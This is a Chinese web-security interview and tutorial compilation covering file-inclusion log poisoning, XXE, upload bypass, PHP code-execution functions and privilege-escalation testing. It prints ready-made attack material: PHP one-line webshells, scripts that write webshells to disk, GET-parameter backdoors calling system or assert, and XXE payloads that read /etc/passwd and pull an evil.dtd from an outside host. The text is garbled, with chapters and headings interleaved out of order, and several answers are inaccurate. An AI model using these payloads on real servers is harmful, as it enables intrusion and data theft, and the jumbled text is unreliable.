连接webshell![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDI1Nzg3OS05NDE4NTQ2O
DcucG5n?x-oss-process=image/format,png)#### **⑤包含日志文件getshell****1.包含Apache日志文件**在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log**利用条件:**日志文件的存储路径,并且日志文件可读。**①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中****②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error\_log或者access\_log****③也可用通过先包含配置文件来确定日志文件路径****利用方式:**因为会自动url编码,会导致无法利用,所以抓包再请求![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDM1MTI0NC0xMDUyOTA0O
TI4LnBuZw?x-oss-process=image/format,png)可以看到error.log文件中已经成功写入了payload![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDM1OTkzMC0xNTI0MTQxM
jIucG5n?x-oss-process=image/format,png)然后包含log文件路径即可![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDQxMDIxNy01MjY2NjIyM
zAucG5n?x-oss-process=image/format,png)连接webshell![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDQxOTI0Mi0xNTY4NDE4M
DIzLnBuZw?x-oss-process=image/format,png)**2.包含SSH日志文件**这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDQ0MjYwNC0xNjQ3NDUyO
Dg5LnBuZw?x-oss-process=image/format,png)可以看到我们登陆的行为都被记录到了日志当中![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDQ1MDgzNC05MDg2ODU5N
zkucG5n?x-oss-process=image/format,png)可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDUxMzk3NS0xMzc2NjQ5M
zA5LnBuZw?x-oss-process=image/format,png)通过phpinfo查看到了网站根目录![]
(https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDUwMzI2OS00MjAwNjM2N
jYucG5n?x-oss-process=image/format,png)本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路
![] (https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDUzNDA4NC01Mzg1NzUzO TQucG5n?x-oss-process=image/format,png)
然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell
![] (https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDU0OTE4MS0xNTk0NTIxN jYyLnBuZw?x-oss-process=image/format,png)
然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行
![] (https://imgconvert.csdnimg.cn/aHR0cHM6Ly9pbWcyMDIwLmNuYmxvZ3MuY29tL2Jsb2cvMjA2Mzg0Ni8yMDIwMDcvMjA2Mzg0Ni0yMDIwMDcwNzE5MDU1NzQ0NS0xMzcyODQ0N zAxLnBuZw?x-oss-process=image/format,png)
十六、说一下 google 语法搜索目录遍历漏洞文件包含如何单独 getshell?#
Google 语法搜索目录遍历漏洞和文件包含漏洞是两个不同的漏洞类型,但在某些情况下它们可以结合使用来实现 getshell。
对于目录遍历漏洞,攻击者可以使用 Google 搜索语法来查找服务器上的敏感文件和目录。例如,可以使用以下语法搜索所有文件和目录:
复制 site:example.com intitle:index.of 其中,example.com 是目标网站的域名。这个语法将搜索包含 “index.of” 标题的所有文件和目录,包括敏感文件和目录。
对于文件包含漏洞,攻击者可以使用 Google 搜索语法来查找包含敏感信息的文件。例如,可以使用以下语法搜索包含密码的文件:
复制 site:example.com password filetype:txt 其中,example.com 是目标网站的域名。这个语法将搜索包含 “password” 关键字的所有 txt 文件,包括可能包含敏感信息的文件。
结合使用这两个漏洞,攻击者可以找到包含敏感信息的文件,并通过文件包含漏洞获取文件内容,最终实现 getshell。例如,攻击者可以使用目录遍历漏洞找到包含敏感信息的配置文件,并 利用文件包含漏洞获取配置文件中的数据库用户名和密码,然后使用这些凭据访问数据库并获取 shell。
需要注意的是,这些漏洞都是已知的漏洞,对于目标网站管理员来说应该通过加固服务器来避免这些漏洞的利用。同时,使用 Google 语法搜索敏感信息也是非法的行为,违反了网站的隐私 政策和法律法规。
十七、说一文件包含的关键字、为什么会形成文件包含?文件包含有哪些防御方法?#
简介#
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。
类型#
根据不同的配置环境,文件包含漏洞分为如下两种情况: **1.本地文件包含漏洞(LFI):**仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从 而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 **2.远程文件包含漏洞(RFI):**能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况很严重。
原理#
以PHP为例,在PHP中,提供了以下文件包含函数:
- include:找不到文件产生警告,脚本继续运行。
- include_once:相对于include,文件被包含后不会再次被包含。
- require:找不到文件,产生致命错误,脚本停止。
- require_once:相对于require,文件被包含后不会再次被包含。
这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这 个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
攻击#
使用靶机:pikachu

FileInclusion(local)
我们选择一个NBA player,可以看到url,filename参数可以修改。
Windows敏感文件
Windows敏感文件
| 文件路径 | 文件作用 |
|---|---|
| c:\boot.ini | 查看系统版本 |
| c:\Windows\system32\inetsrvMetaBase.xml | IIS配置文件 |
| c:\Windows\php.ini | php配置信息 |
| c:\Windows\my.ini | mysql配置文件,记录管理员登陆过的MYSQL用户名和密码 |
| c:\Windows\system.ini | winnt的php配置信息 |
| c:\Windows\win.ini | winnt的mysql配置文件 |
| c:\mysql\data\mysql\user.MYD | mysql.user表中的数据库连接密码 |
| c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini | 存储了虚拟主机网站路径和密码 |
| c:\windows\system32\inetsrv\MetaBase.xml | 查看IIS的虚拟主机配置 |
| c:\windows\repair\sam | WINDOWS系统初次安装的密码 |
| c:\Program Files\ Serv-U\ServUAdmin.exe | 6.0版本以前的serv-u管理员密码 |
| c:\Program Files\RhinoSoft.com\ServUDaemon.exe | |
| C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 | 存储了pcAnywhere的登陆密码 |
| c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf | 查看WINDOWS系统apache文件 |
| c:/Resin-3.0.14/conf/resin.conf | 查看jsp开发的网站resin文件配置信息. |
| c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf | 查看linux系统配置的JSP虚拟主机 |
| d:\APACHE\Apache2\conf\httpd.conf | |
| C:\mysql\data\mysql\user.MYD | 存在MYSQL系统中的用户密码 |
| C:\Windows\System32\drivers\etc\hostswinserver | 配置Telnet信息 |

测试
我测试了一下,发现不可以,因为它限制了include目录下,不过,我们可以使用../来到磁盘下的任意目录。

../切换目录
结合文件上传漏洞在../../unsafeupload/uploads/下的上传的文件,可以实现php代码的运行。
仅本地文件包含#
仅本地文件包含时,
可以查看本地敏感文件,如/etc/passwd等
可以包含日志文件,通过其他手段写到日志文件,如WAF日志,ssh登录日志
防御#
- 文件包含参数写死
- 文件包含参数不可由用户修改
- 禁用目录跳转字符"../"
- 使用文件验证白名单
由上至下,若无法做到上一条,就在下一条补足。
十八、对于一个文件下载的文件它具有什么权限?#
文件下载后的文件权限取决于下载工具和操作系统的默认设置。通常情况下,下载的文件会继承下载目录的权限设置,也可能会根据下载工具的设置而有所不同。
在 Linux 系统中,下载的文件默认权限为该用户对该文件的读写权限,其他用户没有访问权限。在 Windows 系统中,下载的文件默认权限也是该用户对该文件的读写权限,但可以通过文 件属性设置来更改权限。
此外,文件下载的权限也可能受到网络管理员和服务器设置的限制。例如,在某些情况下,管理员可能会限制用户对某些类型的文件进行下载,或限制用户对某些网站或资源的访问。
十九、任意文件下载漏洞,你怎么判断当前用户是不是管理员?#
判断当前用户是否为管理员的方法因操作系统而异,以下是几种常见的方法:
Windows 系统:通过判断当前用户是否在管理员组中来确定是否为管理员。可以使用以下命令进行判断:
复制 net localgroup administrators 如果当前用户在管理员组中,输出结果中会包含当前用户的用户名。
Linux 系统:通过判断当前用户是否为 root 用户来确定是否为管理员。可以使用以下命令进行判断:
复制 id -u 如果返回值为 0 ,则说明当前用户为 root 用户,即管理员。
macOS 系统:通过判断当前用户是否为管理员用户来确定是否为管理员。可以使用以下命令进行判断:
复制 dscl. -read /Groups/admin GroupMembership | grep username 其中,username 为当前用户的用户名。如果返回结果中包含当前用户的用户名,则说明当前用户为管理员。
根据不同的操作系统,可以使用对应的方法判断当前用户是否为管理员。判断完成后,可以根据结果采取相应的措施,比如限制权限或者拒绝访问等。
二十、Windows 环境下任意文件下载漏洞如何通过该漏洞获取登录到该主机?#
Windows 环境下的任意文件下载漏洞,通常是由于应用程序对用户输入的 URL 参数没有进行充分验证,导致攻击者可以通过构造恶意 URL 来下载任意文件,包括敏感文件。
如果攻击者成功下载了包含敏感信息的文件,那么他们可以使用这些信息来进一步攻击目标系统,例如通过获取管理员账户密码或其他敏感信息来登录到该主机。
以下是一些可能的攻击方法:
1.利用下载的文件中的敏感信息,例如密码或证书,通过远程桌面或其他远程管理工具登录到目标系统。
2.如果下载的是 Web 应用程序的配置文件,攻击者可以使用其中的信息来获取敏感数据或执行远程命令。
3.如果下载的是数据库备份文件,攻击者可以使用其中的数据来获取数据库管理员账户和密码。
4.如果下载的是系统配置文件,攻击者可以使用其中的信息获取系统管理员账户和密码。
因此,任意文件下载漏洞是非常危险的漏洞,需要及时修补和防范。建议开发人员在编写应用程序时,对用户输入的 URL 参数进行充分验证,以防止恶意下载。同时,管理员也应该定期检查 系统中的漏洞,以及时修补漏洞,提高系统安全性。
二十一、一个设置了黑名单的文件上传点,网站是 asp 网站,单独.asp 被禁用了,现在有什么其他后缀的脚本可以 getshell?(cer 数字签证)#
在这种情况下,攻击者可以尝试通过以下方式绕过黑名单:
1.重命名已知的可执行文件后缀。例如,将 .php 改为 .jpg 或 .txt。
2.使用不同的脚本语言。如果服务器支持多种脚本语言,可以尝试使用其他语言,例如 Perl、Python 或 Ruby 等。
3.使用另一种文件类型。可以尝试使用其他文件类型,例如 .aspx、.jsp 或 .pl 等。
4.使用多个文件上传点。如果服务器允许多个文件上传点,可以尝试使用其他上传点。
5.绕过文件类型检测。攻击者可以使用文件头欺骗技术来绕过文件类型检测,例如在文件的开头添加字节序列。
需要注意的是,这些绕过技术都是有风险的,攻击者需要在保证自身安全的前提下尝试使用它们。同时,建议网站管理员加强文件上传点的安全设置,避免被攻击者利用。
二十二、任意文件下载有了解过吗?你应该下载哪些文件他能够让你了解关键信息?你了解要查看哪些文件名吗?#
任意文件下载是一种攻击方式,攻击者通过漏洞或者错误的输入验证等方式,成功地将恶意文件下载到受害者的设备上。这些恶意文件可以是病毒、木马、钓鱼网站等,带来严重的安全威胁。
一般来说,我不会下载任意文件,因为这可能会导致安全问题。如果您需要下载文件,请确保它们来自受信任的来源,并进行杀毒扫描,以确保其安全性。
如果您需要了解关键信息,可以查看以下文件:
1.日志文件:包含系统和应用程序的日志信息,可以用于查找故障和安全事件。
2.配置文件:包含系统和应用程序的配置信息,可以用于查找系统设置和网络配置。
XXE(XML外部实体注入)是一种攻击方式,攻击者通过构造恶意的XML数据,将外部实体注入到XML解析器中,从而实现对应用程序的攻击。根据是否有回显,XXE攻击可以分#
为有回显和无回显两种操作方法。#
1.有回显的XXE攻击#
有回显的XXE攻击可以通过在XML中注入一个外部实体,并在实体中包含一段恶意的代码来实现攻击。当XML解析器解析到包含外部实体的XML时,会自动发送一个HTTP请求到#
攻击者控制的服务器上,从而让攻击者获得了攻击目标的回显。攻击者可以利用这个回显来获取敏感信息,例如文件内容、数据库信息等。有回显的XXE攻击通常用于对外部实体#
进行验证和探测,以确定是否存在XXE漏洞。#
2.无回显的XXE攻击#
无回显的XXE攻击可以通过在XML中注入一个外部实体,并在实体中包含一段恶意的代码来实现攻击。当XML解析器解析到包含外部实体的XML时,会执行其中的恶意代码,从而#
实现对应用程序的攻击。无回显的XXE攻击通常用于执行一些隐蔽的攻击,例如让应用程序读取本地文件、执行系统命令、发送网络请求等。#
为了防止XXE攻击,可以采取以下措施:#
XML#
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、#
DTD文档类型定义(可选)、文档元素#
DTD#
基本利用#
第十二章 XXE#
一、说一下 XXE 有回显和无回显的两种操作方法请具体说说对 XXE 的了解#
1. 对XML数据进行合理的输入验证和输出过滤,避免恶意的XML数据进入到应用程序中。#
2. 使用安全的XML解析器,例如对外部实体进行禁用,限制解析器的访问权限等。#
3. 对外部实体进行过滤和限制,例如限制外部实体的访问范围、限制外部实体的大小、对外部实体进行白名单过滤等。#
4. 对应用程序中的敏感信息进行加密和保护,例如使用加密存储数据库密码、限制文件访问权限等。#
二、xxe 原理是什么?怎么利用?#
3.数据库文件:包含应用程序存储数据的数据库文件,可以用于查找敏感数据和安全事件。4.脚本文件:包含应用程序的自动化脚本,可以用于查找漏洞和安全事件。需要注意的是,以上文件只是一些常见的文件类型,实际上还有其他类型的文件可能包含关键信息。在查看任何文件之前,请确保您已经了解其内容和来源,并采取必要的安全措施。简单来说,XXE就是XML外部实体注入。
当允许引用外部实体时,通过构造恶意内容,
就可能导致任意文件读取、系统命令执行、
内网端口探测、攻击内网网站等危害。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。实体又分为一般实体和参数实体
1 ,一般实体的声明语法:
引用实体的方式:&实体名;
2 ,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;构建外部实体注入#
外部实体类型#
方式一:直接通过DTD外部实体声明#
方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明#
方式三:通过DTD外部实体声明引入外部实体声明#
是的,我了解盲 XXE攻击。盲 XXE攻击是一种针对XML解析器的攻击,攻击者通过构造恶意的XML数据来利用漏洞,从而在服务器上执行任意的代码或者读取敏感信息。与普通#
的XXE攻击不同的是,盲XXE攻击不会返回任何有用的信息给攻击者,因此很难被检测到。#
常见的业务逻辑漏洞类型包括:订单支付漏洞、优惠券滥用漏洞、积分系统漏洞、用户权限漏洞等。测试时,需要模拟真实场景,使用不同的账号进行测试。#
对于只有一个登录框的情况,可以测试以下几点:#
1.输入错误的账号密码,测试是否会提示错误信息;#
2.输入正确的账号密码,测试是否能够成功登录;#
3.输入未注册过的账号,测试是否能够提示注册信息或者其他错误信息。#
关于逻辑漏洞Xray的避免敏感操作,可以通过以下几点:
1.限制由Xray发出的请求的范围,例如只能访问特定的URL; 2.在Xray中设置敏感操作的白名单,只允许特定的用户进行此操作; 3.在Xray中设置敏感操作的二次确认,例如要求用户输入密码或其他验证方式。
三、xxe 支持哪些协议?盲 xxe 了解吗?#
第十三章 逻辑漏洞#
一、你挖过业务逻辑漏洞吗?了解的有哪些?如何进行的?对于业务逻辑漏洞,只有一个登录框,你#
会怎么测试?逻辑漏洞 xray 如何避免敏感操作?#
通常攻击者会将payload注入XML文件中,一旦文件被执行,
将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。
换而言之,XXE是一种从本地到达各种服务的方法。
此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
\<C\>&b;</c><?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
\<C\>&b;</c>引用攻击者服务器上的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
%d;
]>
\<C\>&b;</c>DTD文件内容: <!ENTITY b SYSTEM "file:///etc/passwd">php://filter/read=convert.base64-encode/resource=../flag.php常见的业务逻辑漏洞包括但不限于:#
1.越权操作:攻击者可以通过修改请求参数、伪造请求头等方式,绕过身份验证机制,直接访问或操作不应该被授权的资源。#
2.注入漏洞:攻击者可以在输入框中注入恶意脚本或代码,从而实现执行恶意代码、获取敏感信息等攻击行为。#
3.逻辑漏洞:攻击者可以通过修改请求参数或绕过某些检查机制,绕过一些逻辑限制,实现非法操作或获取敏感信息。#
4.会话管理漏洞:攻击者可以通过盗用或伪造会话标识符,获得合法用户的权限,进而进行非法操作。#
订单查询这个功能存在的业务逻辑漏洞可能包括:#
1.越权查询:攻击者可以通过修改订单查询接口的请求参数,获取其他用户的订单信息,包括订单号、订单金额、收货地址等。#
2.盲注漏洞:如果订单查询接口没有对查询参数进行严格的输入验证和过滤处理,攻击者可以在查询参数中注入恶意SQL语句,从而实现访问或操作数据库的攻击行为。#
3.订单状态篡改:攻击者可以通过修改订单查询接口的请求参数,伪造已支付或已发货的订单状态,从而实现对订单的非法操作,例如恶意退款、虚假评价等。#
攻击者可以通过利用这些漏洞,获取敏感信息、盗取资金、篡改订单等,给用户和企业带来损失。因此在开发过程中,需要对业务逻辑进行彻底的审计和测试,尽可能避免漏洞#
的产生。#
常见代码执行函数,如#
eval() assert()preg_replace() create_function()array_map() call_user_func()call_user_func_array() array_filterusort uasort()文件操作函数 动态函数( a ( a( a(b))eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:
示例代码:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected ‘EOF’, got ‘&’ at position 19: …it = -1 [, int &̲count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码
示例代码:
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
代码示例:
参考链接:
代码安全:PHP create_function()注入命令执行漏洞
http://lovexm.blog.51cto.com/3567383/1743442
http://qqhack8.blog.163.com/blog/static/11414798520153795157139/
二、说一下常见的业务逻辑漏洞或者挖到过的业务逻辑漏洞订单查询怎么利用业务逻辑漏洞?#
三、代码执行的函数有哪些?#
1 、eval()#
2 、assert()#
3 、preg_replace()#
4 、create_function()#
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数 组数目一致。
代码示例:
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
代码示例:
php环境>=5.6才能用
利用方式:#
test.php?1[]=1-1&1[]=eval($_POST[‘x’])&2=assert [POST]:x=phpinfo();
php环境>=<5.6才能用
利用方式:#
test.php?1=1+1&2=eval($_POST[x]) [POST]:x=phpinfo(); 复制代码 源自:https://www.wd0g.com/?p=190
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
5 、array_map()#
6 、call_user_func()/call_user_func_array ()#
7 、array_filter()#
8 、usort()、uasort()#
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?><?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?><?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?><?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?><?php usort(...$_GET);?><?php usort($_GET,'asse'.'rt');?>file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件
代码示例:
PHP函数直接由字符串拼接#
代码示例:#
越权(或者说权限提升,Privilege Escalation)是指攻击者能够执行他本身没有资格执行的一些操作,属于“访问控制”的问题。用大白话讲,越权就是“超越了你你拥有的权限, 干了你本来不可能干的事儿”。先来几个越权的例子:
Winmail普通用户可直接进入后台取得域名管理、用户管理等所有权限
大华DSS平台低权限账户越权直接修改system密码
前程无忧越权访问个人简历(简单测试上万份简历可查看)
易企秀越权修改信息致任意用户登入
一般情况下,常见的访问控制方式有三种:垂直访问控制、水平访问控制和上下文相关的访问控制。垂直访问控制允许不同类型的用户(常见的有基于角色划分用户类型)访问 应用程序的不同功能,例如在某系统中普通用户只能执行有限的操作,管理员则拥有最高权限。水平访问控制允许用户访问一组相同类型的资源,如在一个网银系统中,每个用 户只能看到他自己的账户信息,只能操作自己的账户进行转账。而上下文相关的访问控制可确保基于应用程序当前的状态,限制用户仅能访问所允许的内容,如在常见的找回/修 改密码功能中,必须通过身份验证才能重新设置密码。许多情况下,垂直访问控制与水平访问控制会相交交叠,配合使用。
如果在一个应用中,用户能够访问他本身无权访问的功能或者资源,就说明该应用存在访问控制缺陷,也就是说存在越权漏洞。与访问控制相对应的,将越权分为垂直越权、水 平越权和上下文相关的越权。
垂直越权:如果攻击者能够执行某项功能,而他所属的角色并不具备该权限,这就存在垂直越权漏洞,如上述示例中前两个例子。
水平越权:如果攻击者能够执行与自己同级别的其他用户能够执行的操作,这就存在水平越权漏洞,如上述示例中的后两个例子。
上下文相关的越权:如果攻击者能够利用应用程序状态机中的漏洞获得关键资源的访问权限,这就存在上下文相关的越权。如在找回密码过程中,攻击者使用自己的账户信息通 过验证,但最终却通过某种手段(例如使用BurpSuite改数据包)将他人的密码进行了修改。上下文相关的越权漏洞一般属于业务逻辑漏洞。
通常情况下,我们使用一个web应用程序提供的功能时,流程是:登录—>提交请求—>验证权限—>数据库查询—>返回结果。如果在“验证权限”环节存在缺陷,那么便会导致越 权。一种常见的存在越权的情形是:Web应用程序的开发者安全意识不足,认为通过登录即可验证用户的身份,而对用户登录之后的操作不做进一步的权限验证,进而导致越权 问题。
2.1、 通过隐藏URL实现访问控制
有些应用程序仅通过URL实现访问控制。例如:使用管理员身份登录后可以看到后台管理页面的链接,但是以普通用户登录则看不到该链接。在这种情况下,开发者认为普通用 户不知道或者很难猜到后台管理页面的URL,因此实现对管理功能的保护。这其实是一种错误观点,因为攻击者完全有可能通过其他方式(如Google Hacking、HTML/js源码分 析、暴力猜解URL、利用其他漏洞等)得到后台管理URL。
2.2、 直接对象引用(Direct Object reference)
用户提交HTTP请求访问某资源时,被请求资源的标识符常常以GET或者POST请求参数的形式出现在URL查询字符串或者POST请求主体中提交给服务器。例如,在一个网银系统 中,用户可以使用以下URL查询账户信息:
9 、文件操作函数#
10 、动态函数#
四、说一说越权,水平越权和垂直越权的区别以及修复水平越权和垂直越权的区别#
1 、什么是越权?#
2 、为什么会出现越权#
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?><?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>https://www.onlinebank.com/viewInfo.php?accountId=12345678其中accountId是用户自己的账户ID。用户登录自己的账户后,该URL的链接会出现在用户账户页面中,用户点击即可跳转到账户信息页面。虽然其他用户无法看到这个链接,但 是如果该网银系统的访问控制不完善,攻击者完全可以通过枚举accountId进而构造出URL,然后越权查看他人的账户信息。
2.3、 多阶段功能
应用程序的一些功能通过几个阶段执行,并且在执行过程中向服务器依次提交多个请求。这种情况很常见,比如转账功能、找回密码功能等,需要先验证用户的身份,验证通过 后才允许用户执行后续动作。多阶段功能本身并没有问题,但是如果开发者认为到达验证过程后续阶段的用户一定已经拥有了相关的权限,并在后续阶段执行操作时不再对用户 提交的请求进行验证,那么就很有可能存在越权漏洞。攻击者完全有可能绕过前几阶段的验证阶段,直接执行后续的动作。讲一个我在测试中遇到的真实的案例。
某网站在找回密码时做了很严格的验证,需要验证姓名、手机号、身份证号等信息,验证通过了才能修改密码。那么问题来了,既然做了这么严格的验证,怎么还会存在越权? 该网站的“找回密码”功能被设计成了两步(提交了两个请求报文):第一步验证用户身份,这时提交第一个请求报文,验证成功之后,进入第二步;第二步才是真正的修改密码的 动作,而修改密码的POST数据包有 3 个请求参数,分别是新密码、确认新密码以及账号值。问题就出在第二步,在执行修改密码的动作时,服务器并未验证被修改密码的账户是 否是第一步中通过身份验证的账户,因此攻击者可以很容易的以自己的身份通过认证,然后修改第二步提交的报文,实现对任意账户的密码修改!
2.4、 静态文件
有些Web应用程序在用户访问动态页面时会执行相应的访问控制检查,以确定用户是否拥有执行相关操作所需的权限。但是,用户仍然会提交对静态资源的访问请求,如下载网 站中的word、excel、pdf文档等。这些文档都是完全静态的资源,其内容直接由Web服务器返回,它并不在服务器上运行。因此,静态资源自身并不能执行任何检查以确认用户 的访问权限。如果这些静态资源没有得到有效的保护,那么任何知晓URL命名规则的人都可以越权访问这些静态资源。这种情况的越权也很常见,而且即使不知道URL命名规则, 完全有可能通过Google hacking搜索到敏感文件。
2.5、 平台配置错误#
一些应用程序通过在Web服务器或应用程序平台层使用控件来控制对特定URL路径的访问。例如,有些应用程序会根据用户角色来限制对管理后台路径(如/admin)的访问,如 果用户不属于“管理员”组,则拒绝其访问后台管理页面的请求。但是,如果在配置平台及控件时出现错误,就可能导致越权访问。
首先,找出疑似存在越权漏洞的请求。存在越权漏洞的请求有一定的特点,可以从两个方面下手。#
从HTTP请求上来说,就是通过BurpSuite抓取在目标站点正常操作所产生的请求数据包,然后找出可能产生越权的请求。一般情况下,类似上文所述URL的GET或者POST请求都 要列为重点怀疑对象:
从业务功能上来说,找到容易产生越权的功能点。常见的越权高发功能点有:根据订单号查订单、根据用户ID查看帐户信息、修改/找回密码等。#
确定了怀疑对象之后,还需要进一步的分析,以确定是否真的存在越权。这时,需要两个不同的账号(下文分别称为账号A和账号B),以便测试登录账号A后进行操作能否影响#
到账号B。注意在浏览器中测试时,需要使用两个浏览器分别登录不同的账号,或者使用浏览器的隐私浏览功能登录其中一个账号。#
以上文提到的URL为例进行说明。假设账号A的id为 1234 ,账号B的id为 5678 ,BurpSuite中抓取的数据包都是在账号A的。我的习惯做法是:在BurpSuite中将该请求发送到 Repeater,然后将参数id的值修改为 5678 ,最后提交修改后的请求包;服务器返回响应后,可以看一下BurpSuite中收到的响应报文。如果响应报文直接提示错误之类的,基本 上可以确定此处不存在越权;如果响应报文提示操作成功,此时应该使用浏览器登录账号B进行二次确认,如果数据确实有相应的改动,那么则说明这里存在越权漏洞。这里需要 注意:BurpSuite中报文提示操作成功有可能是误报,必须在浏览器中进行再次确认。而对于查询订单这类的请求来说,情况更简单了,修改参数id提交请求,如果返回了账号B 的数据,那么就可以确定存在越权。
当然,越权漏洞的攻击点不仅仅存在于请求参数中,还有可能在Cookie中。因此,需要具体情况具体分析,复杂一点的可能还需要Cookie值配合请求参数值以实现越权攻击。
